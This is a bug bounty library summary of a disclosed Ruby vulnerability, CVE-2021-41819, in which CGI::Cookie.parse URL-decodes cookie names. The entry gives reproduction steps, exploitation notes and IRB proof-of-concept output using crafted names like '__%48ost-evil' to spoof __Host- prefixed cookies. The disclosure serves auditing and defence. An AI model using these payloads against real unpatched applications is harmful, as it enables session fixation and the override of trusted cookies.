# Ruby CVE-2021-41819: Cookie Prefix Spoofing in CGI::Cookie.parse

CGI::Cookie.parse URL-decoded cookie names, letting an attacker spoof __Host-/__Secure- prefixes and inject values into protected cookie names.

- Payout: $2,000
- Severity: high
- Program: Internet Bug Bounty
- Found by: ooooooo_q
- Disclosed: 2022-02-03
- CVE: CVE-2021-41819, CVE-2020-8184
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1464396
- Library page: https://bugbountylibrary.com/r/h1%3A1464396
- Tags: area:oss domain:oss impact:integrity kind:bounty platform:hackerone sev:high tech:ruby technique:parser-differential technique:source-review vuln:auth-bypass

**Target:** Ruby CGI::Cookie.parse (cgi gem / stdlib)
**Root cause:** parse() applied CGI.unescape to the cookie name, so `__%48ost-evil` decoded to `__Host-evil` and merged with the legitimate prefixed cookie, defeating the prefix integrity guarantee.
**Steps:**
1. require 'cgi'
2. Call `CGI::Cookie.parse("__%48ost-evil=evil;__Host-evil=abc")`
3. Observe result key `__Host-evil` with values `["evil","abc"]` — attacker value merged into the protected name
4. Also `CGI::Cookie.parse("%48oge=evil;Hoge=abc;Foo=xxx")` yields `Hoge` => `["evil","abc"]`
**How found:** Same pattern as prior report #895727 (Rack CVE-2020-8184); researcher read lib/cgi/cookie.rb line 162, spotted `name = CGI.unescape(name)`, and hypothesized prefix spoofing via encoded name characters.
**Exploitation:** Attacker sets a cookie whose name contains URL-encoded characters (e.g. `__%48ost-evil`) that decode to a security-prefixed name; a Ruby app parsing cookies with CGI::Cookie.parse then treats the attacker value as belonging to the __Host-/__Secure- cookie, enabling session fixation or override of a trusted cookie.
**Insight:** When auditing cookie parsers, check whether the name (not just value) is decoded/normalized — any decoding of the name lets attackers smuggle __Host-/__Secure- prefixes or collide with trusted cookie names.

## Proof of concept (copied exactly from the original report)

**IRB PoC spoofing __Host prefix via URL-encoded name**

```
cookie_a = CGI::Cookie.parse("__%48ost-evil=evil;__Host-evil=abc")
irb(main):003:0> cookie_a["__Host-evil"]
=> #<CGI::Cookie: "__Host-evil=evil&abc; path=">
irb(main):004:0> cookie_a["__Host-evil"].to_a
=> ["evil", "abc"]
```

**IRB PoC merging encoded and plain cookie names**

```
cookie_b = CGI::Cookie.parse("%48oge=evil;Hoge=abc;Foo=xxx")
irb(main):006:0> cookie_b["Hoge"].to_a
=> ["evil", "abc"]
irb(main):007:0> cookie_b["Foo"].to_a
=> ["xxx"]
```

